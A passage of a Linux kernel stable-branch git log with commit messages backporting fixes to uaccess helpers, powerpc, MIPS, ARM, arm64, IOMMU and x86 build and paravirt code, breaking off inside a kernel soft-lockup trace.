    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 322dab0da0c4792e01391d7894078f4008ae0f02
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Fri Sep 9 19:20:13 2016 -0400

    m32r: fix __get_user()
    
    commit c90a3bc5061d57e7931a9b7ad14784e1a0ed497d upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7d84a5d51f1b04cbf0c4f752fad17da47d5c60a3
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sat Aug 20 16:32:02 2016 -0400

    mn10300: failing __get_user() and get_user() should zero
    
    commit 43403eabf558d2800b429cd886e996fd555aa542 upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 22e232d64fc7865ee7f00b5d7fd68639c71777e7
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Fri Sep 9 19:22:34 2016 -0400

    microblaze: fix copy_from_user()
    
    commit d0cf385160c12abd109746cad1f13e3b3e8b50b8 upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    [wt: s/might_fault/might_sleep]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 90f2278f097616dcef0c45d1b314c2c8ad20f021
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Fri Sep 9 19:23:33 2016 -0400

    microblaze: fix __get_user()
    
    commit e98b9e37ae04562d52c96f46b3cf4c2e80222dc1 upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 61f2d84aa4c053f7dde303c8066d7fdbbc8374e2
Author: John David Anglin <dave.anglin@bell.net>
Date:   Fri Oct 28 23:00:34 2016 -0400

    parisc: Ensure consistent state when switching to kernel stack at syscall entry
    
    commit 6ed518328d0189e0fdf1bb7c73290d546143ea66 upstream.
    
    We have one critical section in the syscall entry path in which we switch from
    the userspace stack to kernel stack. In the event of an external interrupt, the
    interrupt code distinguishes between those two states by analyzing the value of
    sr7. If sr7 is zero, it uses the kernel stack. Therefore it's important, that
    the value of sr7 is in sync with the currently enabled stack.
    
    This patch now disables interrupts while executing the critical section.  This
    prevents the interrupt handler to possibly see an inconsistent state which in
    the worst case can lead to crashes.
    
    Interestingly, in the syscall exit path interrupts were already disabled in the
    critical section which switches back to the userspace stack.
    
    Signed-off-by: John David Anglin <dave.anglin@bell.net>
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 2fe6f38f919939486edb08a4dcc83e41144af2ed
Author: Stefan Haberland <sth@linux.vnet.ibm.com>
Date:   Mon Aug 8 14:08:17 2016 +0200

    s390/dasd: fix hanging device after clear subchannel
    
    commit 9ba333dc55cbb9523553df973adb3024d223e905 upstream.
    
    When a device is in a status where CIO has killed all I/O by itself the
    interrupt for a clear request may not contain an irb to determine the
    clear function. Instead it contains an error pointer -EIO.
    This was ignored by the DASD int_handler leading to a hanging device
    waiting for a clear interrupt.
    
    Handle -EIO error pointer correctly for requests that are clear pending and
    treat the clear as successful.
    
    Signed-off-by: Stefan Haberland <sth@linux.vnet.ibm.com>
    Reviewed-by: Sebastian Ott <sebott@linux.vnet.ibm.com>
    Signed-off-by: Martin Schwidefsky <schwidefsky@de.ibm.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit cba31cb93827b2c119616470555eb852f860fb45
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Wed Jul 13 13:08:55 2016 +0300

    avr32: off by one in at32_init_pio()
    
    commit 55f1cf83d5cf885c75267269729805852039c834 upstream.
    
    The pio_dev[] array has MAX_NR_PIO_DEVICES elements so the > should be
    >=.
    
    Fixes: 5f97f7f9400d ('[PATCH] avr32 architecture')
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit da189d04e7b33cdc1b8f98216bd1a7f011f56614
Author: Guenter Roeck <linux@roeck-us.net>
Date:   Sat Sep 17 07:52:49 2016 -0700

    avr32: fix 'undefined reference to `___copy_from_user'
    
    commit 65c0044ca8d7c7bbccae37f0ff2972f0210e9f41 upstream.
    
    avr32 builds fail with:
    
    arch/avr32/kernel/built-in.o: In function `arch_ptrace':
    (.text+0x650): undefined reference to `___copy_from_user'
    arch/avr32/kernel/built-in.o:(___ksymtab+___copy_from_user+0x0): undefined
    reference to `___copy_from_user'
    kernel/built-in.o: In function `proc_doulongvec_ms_jiffies_minmax':
    (.text+0x5dd8): undefined reference to `___copy_from_user'
    kernel/built-in.o: In function `proc_dointvec_minmax_sysadmin':
    sysctl.c:(.text+0x6174): undefined reference to `___copy_from_user'
    kernel/built-in.o: In function `ptrace_has_cap':
    ptrace.c:(.text+0x69c0): undefined reference to `___copy_from_user'
    kernel/built-in.o:ptrace.c:(.text+0x6b90): more undefined references to
    `___copy_from_user' follow
    
    Fixes: 8630c32275ba ("avr32: fix copy_from_user()")
    Cc: Al Viro <viro@zeniv.linux.org.uk>
    Acked-by: Havard Skinnemoen <hskinnemoen@gmail.com>
    Acked-by: Hans-Christian Noren Egtvedt <egtvedt@samfundet.no>
    Signed-off-by: Guenter Roeck <linux@roeck-us.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 91be3ab41cd05f8200b3658288b13319bc43d589
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Fri Sep 9 19:28:23 2016 -0400

    avr32: fix copy_from_user()
    
    commit 8630c32275bac2de6ffb8aea9d9b11663e7ad28e upstream.
    
    really ugly, but apparently avr32 compilers turns access_ok() into
    something so bad that they want it in assembler.  Left that way,
    zeroing added in inline wrapper.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit ac78e19eba6ae17502c33ff8f5e7a3bb69df8350
Author: Pan Xinhui <xinhui.pan@linux.vnet.ibm.com>
Date:   Thu Dec 10 15:30:02 2015 +0800

    powerpc/nvram: Fix an incorrect partition merge
    
    commit 11b7e154b132232535befe51c55db048069c8461 upstream.
    
    When we merge two contiguous partitions whose signatures are marked
    NVRAM_SIG_FREE, We need update prev's length and checksum, then write it
    to nvram, not cur's. So lets fix this mistake now.
    
    Also use memset instead of strncpy to set the partition's name. It's
    more readable if we want to fill up with duplicate chars .
    
    Fixes: fa2b4e54d41f ("powerpc/nvram: Improve partition removal")
    Signed-off-by: Pan Xinhui <xinhui.pan@linux.vnet.ibm.com>
    Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5daad2cce3080d132228900a1c8ecee81c3e33ce
Author: Paul Mackerras <paulus@ozlabs.org>
Date:   Tue Oct 11 22:25:47 2016 +1100

    powerpc/64: Fix incorrect return value from __copy_tofrom_user
    
    commit 1a34439e5a0b2235e43f96816dbb15ee1154f656 upstream.
    
    Debugging a data corruption issue with virtio-net/vhost-net led to
    the observation that __copy_tofrom_user was occasionally returning
    a value 16 larger than it should.  Since the return value from
    __copy_tofrom_user is the number of bytes not copied, this means
    that __copy_tofrom_user can occasionally return a value larger
    than the number of bytes it was asked to copy.  In turn this can
    cause higher-level copy functions such as copy_page_to_iter_iovec
    to corrupt memory by copying data into the wrong memory locations.
    
    It turns out that the failing case involves a fault on the store
    at label 79, and at that point the first unmodified byte of the
    destination is at R3 + 16.  Consequently the exception handler
    for that store needs to add 16 to R3 before using it to work out
    how many bytes were not copied, but in this one case it was not
    adding the offset to R3.  To fix it, this moves the label 179 to
    the point where we add 16 to R3.  I have checked manually all the
    exception handlers for the loads and stores in this code and the
    rest of them are correct (it would be excellent to have an
    automated test of all the exception cases).
    
    This bug has been present since this code was initially
    committed in May 2002 to Linux version 2.5.20.
    
    Signed-off-by: Paul Mackerras <paulus@ozlabs.org>
    Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 6d13a7b0e1dafbb3ff9f7778f4ea643fc0173a48
Author: Gavin Shan <gwshan@linux.vnet.ibm.com>
Date:   Tue Aug 2 14:10:32 2016 +1000

    powerpc/powernv: Use CPU-endian PEST in pnv_pci_dump_p7ioc_diag_data()
    
    commit 5adaf8629b193f185ca5a1665b9e777a0579f518 upstream.
    
    This fixes the warnings reported from sparse:
    
      pci.c:312:33: warning: restricted __be64 degrades to integer
      pci.c:313:33: warning: restricted __be64 degrades to integer
    
    Fixes: cee72d5bb489 ("powerpc/powernv: Display diag data on p7ioc EEH errors")
    Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
    Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 546731aaea6c5882bcb1adf4c109233bfbb22ae4
Author: Anton Blanchard <anton@samba.org>
Date:   Sun Sep 25 17:16:53 2016 +1000

    powerpc/vdso64: Use double word compare on pointers
    
    commit 5045ea37377ce8cca6890d32b127ad6770e6dce5 upstream.
    
    __kernel_get_syscall_map() and __kernel_clock_getres() use cmpli to
    check if the passed in pointer is non zero. cmpli maps to a 32 bit
    compare on binutils, so we ignore the top 32 bits.
    
    A simple test case can be created by passing in a bogus pointer with
    the bottom 32 bits clear. Using a clk_id that is handled by the VDSO,
    then one that is handled by the kernel shows the problem:
    
      printf("%d\n", clock_getres(CLOCK_REALTIME, (void *)0x100000000));
      printf("%d\n", clock_getres(CLOCK_BOOTTIME, (void *)0x100000000));
    
    And we get:
    
      0
      -1
    
    The bigger issue is if we pass a valid pointer with the bottom 32 bits
    clear, in this case we will return success but won't write any data
    to the pointer.
    
    I stumbled across this issue because the LLVM integrated assembler
    doesn't accept cmpli with 3 arguments. Fix this by converting them to
    cmpldi.
    
    Fixes: a7f290dad32e ("[PATCH] powerpc: Merge vdso's and add vdso support to 32 bits kernel")
    Signed-off-by: Anton Blanchard <anton@samba.org>
    Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b0a4c167399405897e0c11c354d77e4672d3b579
Author: Paul Mackerras <paulus@ozlabs.org>
Date:   Fri Sep 2 21:47:59 2016 +1000

    powerpc/mm: Don't alias user region to other regions below PAGE_OFFSET
    
    commit f077aaf0754bcba0fffdbd925bc12f09cd1e38aa upstream.
    
    In commit c60ac5693c47 ("powerpc: Update kernel VSID range", 2013-03-13)
    we lost a check on the region number (the top four bits of the effective
    address) for addresses below PAGE_OFFSET.  That commit replaced a check
    that the top 18 bits were all zero with a check that bits 46 - 59 were
    zero (performed for all addresses, not just user addresses).
    
    This means that userspace can access an address like 0x1000_0xxx_xxxx_xxxx
    and we will insert a valid SLB entry for it.  The VSID used will be the
    same as if the top 4 bits were 0, but the page size will be some random
    value obtained by indexing beyond the end of the mm_ctx_high_slices_psize
    array in the paca.  If that page size is the same as would be used for
    region 0, then userspace just has an alias of the region 0 space.  If the
    page size is different, then no HPTE will be found for the access, and
    the process will get a SIGSEGV (since hash_page_mm() will refuse to create
    a HPTE for the bogus address).
    
    The access beyond the end of the mm_ctx_high_slices_psize can be at most
    5.5MB past the array, and so will be in RAM somewhere.  Since the access
    is a load performed in real mode, it won't fault or crash the kernel.
    At most this bug could perhaps leak a little bit of information about
    blocks of 32 bytes of memory located at offsets of i * 512kB past the
    paca->mm_ctx_high_slices_psize array, for 1 <= i <= 11.
    
    Fixes: c60ac5693c47 ("powerpc: Update kernel VSID range")
    Signed-off-by: Paul Mackerras <paulus@ozlabs.org>
    Reviewed-by: Aneesh Kumar K.V <aneesh.kumar@linux.vnet.ibm.com>
    Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 4787d839ac5e2ada45bdb81a36819b7cd80d2a9d
Author: Marcin Nowakowski <marcin.nowakowski@imgtec.com>
Date:   Wed Oct 12 09:32:56 2016 +0200

    MIPS: ptrace: Fix regs_return_value for kernel context
    
    commit 74f1077b5b783e7bf4fa3007cefdc8dbd6c07518 upstream.
    
    Currently regs_return_value always negates reg[2] if it determines
    the syscall has failed, but when called in kernel context this check is
    invalid and may result in returning a wrong value.
    
    This fixes errors reported by CONFIG_KPROBES_SANITY_TEST
    
    Fixes: d7e7528bcd45 ("Audit: push audit success and retcode into arch ptrace.h")
    Signed-off-by: Marcin Nowakowski <marcin.nowakowski@imgtec.com>
    Cc: linux-mips@linux-mips.org
    Patchwork: https://patchwork.linux-mips.org/patch/14381/
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit bc9f83ea7f47e55fcd157d209ffa2f97a49bb19b
Author: Paul Burton <paul.burton@imgtec.com>
Date:   Fri Sep 2 16:07:10 2016 +0100

    MIPS: Malta: Fix IOCU disable switch read for MIPS64
    
    commit 305723ab439e14debc1d339aa04e835d488b8253 upstream.
    
    Malta boards used with CPU emulators feature a switch to disable use of
    an IOCU. Software has to check this switch & ignore any present IOCU if
    the switch is closed. The read used to do this was unsafe for 64 bit
    kernels, as it simply casted the address 0xbf403000 to a pointer &
    dereferenced it. Whilst in a 32 bit kernel this would access kseg1, in a
    64 bit kernel this attempts to access xuseg & results in an address
    error exception.
    
    Fix by accessing a correctly formed ckseg1 address generated using the
    CKSEG1ADDR macro.
    
    Whilst modifying this code, define the name of the register and the bit
    we care about within it, which indicates whether PCI DMA is routed to
    the IOCU or straight to DRAM. The code previously checked that bit 0 was
    also set, but the least significant 7 bits of the CONFIG_GEN0 register
    contain the value of the MReqInfo signal provided to the IOCU OCP bus,
    so singling out bit 0 makes little sense & that part of the check is
    dropped.
    
    Signed-off-by: Paul Burton <paul.burton@imgtec.com>
    Fixes: b6d92b4a6bdb ("MIPS: Add option to disable software I/O coherency.")
    Cc: Matt Redfearn <matt.redfearn@imgtec.com>
    Cc: Masahiro Yamada <yamada.masahiro@socionext.com>
    Cc: Kees Cook <keescook@chromium.org>
    Cc: linux-mips@linux-mips.org
    Cc: linux-kernel@vger.kernel.org
    Patchwork: https://patchwork.linux-mips.org/patch/14187/
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 83099f397a9faaf75a8f249733b2b57d72a264eb
Author: Will Deacon <will.deacon@arm.com>
Date:   Fri Aug 26 11:36:39 2016 +0100

    arm64: debug: avoid resetting stepping state machine when TIF_SINGLESTEP
    
    commit 3a402a709500c5a3faca2111668c33d96555e35a upstream.
    
    When TIF_SINGLESTEP is set for a task, the single-step state machine is
    enabled and we must take care not to reset it to the active-not-pending
    state if it is already in the active-pending state.
    
    Unfortunately, that's exactly what user_enable_single_step does, by
    unconditionally setting the SS bit in the SPSR for the current task.
    This causes failures in the GDB testsuite, where GDB ends up missing
    expected step traps if the instruction being stepped generates another
    trap, e.g. PTRACE_EVENT_FORK from an SVC instruction.
    
    This patch fixes the problem by preserving the current state of the
    stepping state machine when TIF_SINGLESTEP is set on the current thread.
    
    Cc: <stable@vger.kernel.org>
    Reported-by: Yao Qi <yao.qi@arm.com>
    Signed-off-by: Will Deacon <will.deacon@arm.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d65df5171a258ac766fa959cf453c6c7b9851cf3
Author: Will Deacon <will.deacon@arm.com>
Date:   Mon Sep 5 11:56:05 2016 +0100

    arm64: spinlocks: implement smp_mb__before_spinlock() as smp_mb()
    
    commit 872c63fbf9e153146b07f0cece4da0d70b283eeb upstream.
    
    smp_mb__before_spinlock() is intended to upgrade a spin_lock() operation
    to a full barrier, such that prior stores are ordered with respect to
    loads and stores occuring inside the critical section.
    
    Unfortunately, the core code defines the barrier as smp_wmb(), which
    is insufficient to provide the required ordering guarantees when used in
    conjunction with our load-acquire-based spinlock implementation.
    
    This patch overrides the arm64 definition of smp_mb__before_spinlock()
    to map to a full smp_mb().
    
    Cc: Peter Zijlstra <peterz@infradead.org>
    Reported-by: Alan Stern <stern@rowland.harvard.edu>
    Signed-off-by: Will Deacon <will.deacon@arm.com>
    Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1fd5c7b6545fc2f0dca50d302ac998e668ee2fde
Author: James Hogan <james.hogan@imgtec.com>
Date:   Mon Jul 25 16:59:52 2016 +0100

    arm64: Define AT_VECTOR_SIZE_ARCH for ARCH_DLINFO
    
    commit 3146bc64d12377a74dbda12b96ea32da3774ae07 upstream.
    
    AT_VECTOR_SIZE_ARCH should be defined with the maximum number of
    NEW_AUX_ENT entries that ARCH_DLINFO can contain, but it wasn't defined
    for arm64 at all even though ARCH_DLINFO will contain one NEW_AUX_ENT
    for the VDSO address.
    
    This shouldn't be a problem as AT_VECTOR_SIZE_BASE includes space for
    AT_BASE_PLATFORM which arm64 doesn't use, but lets define it now and add
    the comment above ARCH_DLINFO as found in several other architectures to
    remind future modifiers of ARCH_DLINFO to keep AT_VECTOR_SIZE_ARCH up to
    date.
    
    Fixes: f668cd1673aa ("arm64: ELF definitions")
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Cc: Catalin Marinas <catalin.marinas@arm.com>
    Cc: Will Deacon <will.deacon@arm.com>
    Cc: linux-arm-kernel@lists.infradead.org
    Signed-off-by: Will Deacon <will.deacon@arm.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit e5471defd7ea781a60b5f1d7f49d945e113a1e90
Author: Mark Rutland <mark.rutland@arm.com>
Date:   Mon Jan 23 18:28:50 2017 +0000

    arm64: avoid returning from bad_mode
    
    commit 7d9e8f71b989230bc613d121ca38507d34ada849 upstream.
    
    Generally, taking an unexpected exception should be a fatal event, and
    bad_mode is intended to cater for this. However, it should be possible
    to contain unexpected synchronous exceptions from EL0 without bringing
    the kernel down, by sending a SIGILL to the task.
    
    We tried to apply this approach in commit 9955ac47f4ba1c95 ("arm64:
    don't kill the kernel on a bad esr from el0"), by sending a signal for
    any bad_mode call resulting from an EL0 exception.
    
    However, this also applies to other unexpected exceptions, such as
    SError and FIQ. The entry paths for these exceptions branch to bad_mode
    without configuring the link register, and have no kernel_exit. Thus, if
    we take one of these exceptions from EL0, bad_mode will eventually
    return to the original user link register value.
    
    This patch fixes this by introducing a new bad_el0_sync handler to cater
    for the recoverable case, and restoring bad_mode to its original state,
    whereby it calls panic() and never returns. The recoverable case
    branches to bad_el0_sync with a bl, and returns to userspace via the
    usual ret_to_user mechanism.
    
    Signed-off-by: Mark Rutland <mark.rutland@arm.com>
    Fixes: 9955ac47f4ba1c95 ("arm64: don't kill the kernel on a bad esr from el0")
    Reported-by: Mark Salter <msalter@redhat.com>
    Cc: Will Deacon <will.deacon@arm.com>
    Cc: stable@vger.kernel.org
    Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit eee1bdb52147d2db713d289f5c4e427a235e1600
Author: Russell King <rmk+kernel@armlinux.org.uk>
Date:   Tue Sep 6 14:34:05 2016 +0100

    ARM: sa1111: fix pcmcia suspend/resume
    
    commit 06dfe5cc0cc684e735cb0232fdb756d30780b05d upstream.
    
    SA1111 PCMCIA was broken when PCMCIA switched to using dev_pm_ops for
    the PCMCIA socket class.  PCMCIA used to handle suspend/resume via the
    socket hosting device, which happened at normal device suspend/resume
    time.
    
    However, the referenced commit changed this: much of the resume now
    happens much earlier, in the noirq resume handler of dev_pm_ops.
    
    However, on SA1111, the PCMCIA device is not accessible as the SA1111
    has not been resumed at _noirq time.  It's slightly worse than that,
    because the SA1111 has already been put to sleep at _noirq time, so
    suspend doesn't work properly.
    
    Fix this by converting the core SA1111 code to use dev_pm_ops as well,
    and performing its own suspend/resume at noirq time.
    
    This fixes these errors in the kernel log:
    
    pcmcia_socket pcmcia_socket0: time out after reset
    pcmcia_socket pcmcia_socket1: time out after reset
    
    and the resulting lack of PCMCIA cards after a S2RAM cycle.
    
    Fixes: d7646f7632549 ("pcmcia: use dev_pm_ops for class pcmcia_socket_class")
    Signed-off-by: Russell King <rmk+kernel@armlinux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5b4918cca9112e9baef39f8f84b8d41653c8c959
Author: Russell King <rmk+kernel@armlinux.org.uk>
Date:   Fri Aug 19 16:34:45 2016 +0100

    ARM: sa1100: clear reset status prior to reboot
    
    commit da60626e7d02a4f385cae80e450afc8b07035368 upstream.
    
    Clear the current reset status prior to rebooting the platform.  This
    adds the bit missing from 04fef228fb00 ("[ARM] pxa: introduce
    reset_status and clear_reset_status for driver's usage").
    
    Fixes: 04fef228fb00 ("[ARM] pxa: introduce reset_status and clear_reset_status for driver's usage")
    Signed-off-by: Russell King <rmk+kernel@armlinux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1774ca81558342676be0ae3c88008db5a01153c2
Author: Srinivas Ramana <sramana@codeaurora.org>
Date:   Fri Sep 30 15:03:31 2016 +0100

    ARM: 8618/1: decompressor: reset ttbcr fields to use TTBR0 on ARMv7
    
    commit 117e5e9c4cfcb7628f08de074fbfefec1bb678b7 upstream.
    
    If the bootloader uses the long descriptor format and jumps to
    kernel decompressor code, TTBCR may not be in a right state.
    Before enabling the MMU, it is required to clear the TTBCR.PD0
    field to use TTBR0 for translation table walks.
    
    The commit dbece45894d3a ("ARM: 7501/1: decompressor:
    reset ttbcr for VMSA ARMv7 cores") does the reset of TTBCR.N, but
    doesn't consider all the bits for the size of TTBCR.N.
    
    Clear TTBCR.PD0 field and reset all the three bits of TTBCR.N to
    indicate the use of TTBR0 and the correct base address width.
    
    Fixes: dbece45894d3 ("ARM: 7501/1: decompressor: reset ttbcr for VMSA ARMv7 cores")
    Acked-by: Robin Murphy <robin.murphy@arm.com>
    Signed-off-by: Srinivas Ramana <sramana@codeaurora.org>
    Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 88654a154ab6581cad22d2d73266b61242410fb8
Author: Robin Murphy <robin.murphy@arm.com>
Date:   Mon Sep 26 16:50:55 2016 +0100

    ARM: 8616/1: dt: Respect property size when parsing CPUs
    
    commit ba6dea4f7cedb4b1c17e36f4087675d817c2e24b upstream.
    
    Whilst MPIDR values themselves are less than 32 bits, it is still
    perfectly valid for a DT to have #address-cells > 1 in the CPUs node,
    resulting in the "reg" property having leading zero cell(s). In that
    situation, the big-endian nature of the data conspires with the current
    behaviour of only reading the first cell to cause the kernel to think
    all CPUs have ID 0, and become resoundingly unhappy as a consequence.
    
    Take the full property length into account when parsing CPUs so as to
    be correct under any circumstances.
    
    Cc: Russell King <linux@armlinux.org.uk>
    Signed-off-by: Robin Murphy <robin.murphy@arm.com>
    Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7a6111b804ca8a4461a884e6494f6f17d6e3460b
Author: Baoquan He <bhe@redhat.com>
Date:   Thu Sep 15 16:50:52 2016 +0800

    iommu/amd: Free domain id when free a domain of struct dma_ops_domain
    
    commit c3db901c54466a9c135d1e6e95fec452e8a42666 upstream.
    
    The current code missed freeing domain id when free a domain of
    struct dma_ops_domain.
    
    Signed-off-by: Baoquan He <bhe@redhat.com>
    Fixes: ec487d1a110a ('x86, AMD IOMMU: add domain allocation and deallocation functions')
    Signed-off-by: Joerg Roedel <jroedel@suse.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 56eb0df47a3239e72b70cf93f6f4695ab364dfca
Author: Joerg Roedel <jroedel@suse.de>
Date:   Tue Jul 26 15:18:54 2016 +0200

    iommu/amd: Update Alias-DTE in update_device_table()
    
    commit 3254de6bf74fe94c197c9f819fe62a3a3c36f073 upstream.
    
    Not doing so might cause IO-Page-Faults when a device uses
    an alias request-id and the alias-dte is left in a lower
    page-mode which does not cover the address allocated from
    the iova-allocator.
    
    Fixes: 492667dacc0a ('x86/amd-iommu: Remove amd_iommu_pd_table')
    Signed-off-by: Joerg Roedel <jroedel@suse.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 69c373d8f72c5b9c757f588f1b06fbd1c8ec3194
Author: Michael S. Tsirkin <mst@redhat.com>
Date:   Mon Dec 21 09:22:18 2015 +0200

    x86/um: reuse asm-generic/barrier.h
    
    commit 577f183acc88645eae116326cc2203dc88ea730c upstream.
    
    On x86/um CONFIG_SMP is never defined.  As a result, several macros
    match the asm-generic variant exactly. Drop the local definitions and
    pull in asm-generic/barrier.h instead.
    
    This is in preparation to refactoring this code area.
    
    Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
    Acked-by: Arnd Bergmann <arnd@arndb.de>
    Acked-by: Richard Weinberger <richard@nod.at>
    Acked-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 186c5f347bda13e17789ac587a0304d5e0e9c664
Author: H.J. Lu <hjl.tools@gmail.com>
Date:   Wed Mar 16 20:04:35 2016 -0700

    x86/build: Build compressed x86 kernels as PIE
    
    commit 6d92bc9d483aa1751755a66fee8fb39dffb088c0 upstream.
    
    The 32-bit x86 assembler in binutils 2.26 will generate R_386_GOT32X
    relocation to get the symbol address in PIC.  When the compressed x86
    kernel isn't built as PIC, the linker optimizes R_386_GOT32X relocations
    to their fixed symbol addresses.  However, when the compressed x86
    kernel is loaded at a different address, it leads to the following
    load failure:
    
      Failed to allocate space for phdrs
    
    during the decompression stage.
    
    If the compressed x86 kernel is relocatable at run-time, it should be
    compiled with -fPIE, instead of -fPIC, if possible and should be built as
    Position Independent Executable (PIE) so that linker won't optimize
    R_386_GOT32X relocation to its fixed symbol address.
    
    Older linkers generate R_386_32 relocations against locally defined
    symbols, _bss, _ebss, _got and _egot, in PIE.  It isn't wrong, just less
    optimal than R_386_RELATIVE.  But the x86 kernel fails to properly handle
    R_386_32 relocations when relocating the kernel.  To generate
    R_386_RELATIVE relocations, we mark _bss, _ebss, _got and _egot as
    hidden in both 32-bit and 64-bit x86 kernels.
    
    To build a 64-bit compressed x86 kernel as PIE, we need to disable the
    relocation overflow check to avoid relocation overflow errors. We do
    this with a new linker command-line option, -z noreloc-overflow, which
    got added recently:
    
     commit 4c10bbaa0912742322f10d9d5bb630ba4e15dfa7
     Author: H.J. Lu <hjl.tools@gmail.com>
     Date:   Tue Mar 15 11:07:06 2016 -0700
    
        Add -z noreloc-overflow option to x86-64 ld
    
        Add -z noreloc-overflow command-line option to the x86-64 ELF linker to
        disable relocation overflow check.  This can be used to avoid relocation
        overflow check if there will be no dynamic relocation overflow at
        run-time.
    
    The 64-bit compressed x86 kernel is built as PIE only if the linker supports
    -z noreloc-overflow.  So far 64-bit relocatable compressed x86 kernel
    boots fine even when it is built as a normal executable.
    
    Signed-off-by: H.J. Lu <hjl.tools@gmail.com>
    Cc: Andy Lutomirski <luto@amacapital.net>
    Cc: Borislav Petkov <bp@alien8.de>
    Cc: Brian Gerst <brgerst@gmail.com>
    Cc: Denys Vlasenko <dvlasenk@redhat.com>
    Cc: H. Peter Anvin <hpa@zytor.com>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Cc: linux-kernel@vger.kernel.org
    [ Edited the changelog and comments. ]
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 6523fa8c3451f903ee7feddfff18cd6763f804da
Author: Steven Rostedt <rostedt@goodmis.org>
Date:   Wed May 25 13:47:26 2016 -0400

    x86/paravirt: Do not trace _paravirt_ident_*() functions
    
    commit 15301a570754c7af60335d094dd2d1808b0641a5 upstream.
    
    Łukasz Daniluk reported that on a RHEL kernel that his machine would lock up
    after enabling function tracer. I asked him to bisect the functions within
    available_filter_functions, which he did and it came down to three:
    
      _paravirt_nop(), _paravirt_ident_32() and _paravirt_ident_64()
    
    It was found that this is only an issue when noreplace-paravirt is added
    to the kernel command line.
    
    This means that those functions are most likely called within critical
    sections of the funtion tracer, and must not be traced.
    
    In newer kenels _paravirt_nop() is defined within gcc asm(), and is no
    longer an issue.  But both _paravirt_ident_{32,64}() causes the
    following splat when they are traced:
    
     mm/pgtable-generic.c:33: bad pmd ffff8800d2435150(0000000001d00054)
     mm/pgtable-generic.c:33: bad pmd ffff8800d3624190(0000000001d00070)
     mm/pgtable-generic.c:33: bad pmd ffff8800d36a5110(0000000001d00054)
     mm/pgtable-generic.c:33: bad pmd ffff880118eb1450(0000000001d00054)
     NMI watchdog: BUG: soft lockup - CPU#2 stuck for 22s! [systemd-journal:469]
     Modules linked in: e1000e
     CPU: 2 PID: 469 Comm: systemd-journal Not tainted 4.6.0-rc4-test+ #513
     Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012
     task: ffff880118f740c0 ti: ffff8800d4aec000 task.ti: ffff8800d4aec000
     RIP: 0010:[<ffffffff81134148>]  [<ffffffff81134148>] queued_spin_lock_slowpath+0x118/0x1a0
     RSP: 0018:ffff8800d4aefb90  EFLAGS: 00000246
     RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffff88011eb16d40
     RDX: ffffffff82485760 RSI: 000000001f288820 RDI: ffffea0000008030
     RBP: ffff8800d4aefb90 R08: 00000000000c0000 R09: 0000000000000000
     R10: ffffffff821c8e0e R11: 0000000000000000 R12: ffff880000200fb8
     R13: 00007f7a4e3f7000 R14: ffffea000303f600 R15: ffff8800d4b562e0
     FS:  00007f7a4e3d7840(0000) GS:ffff88011eb00000(0000) knlGS:0000000000000000
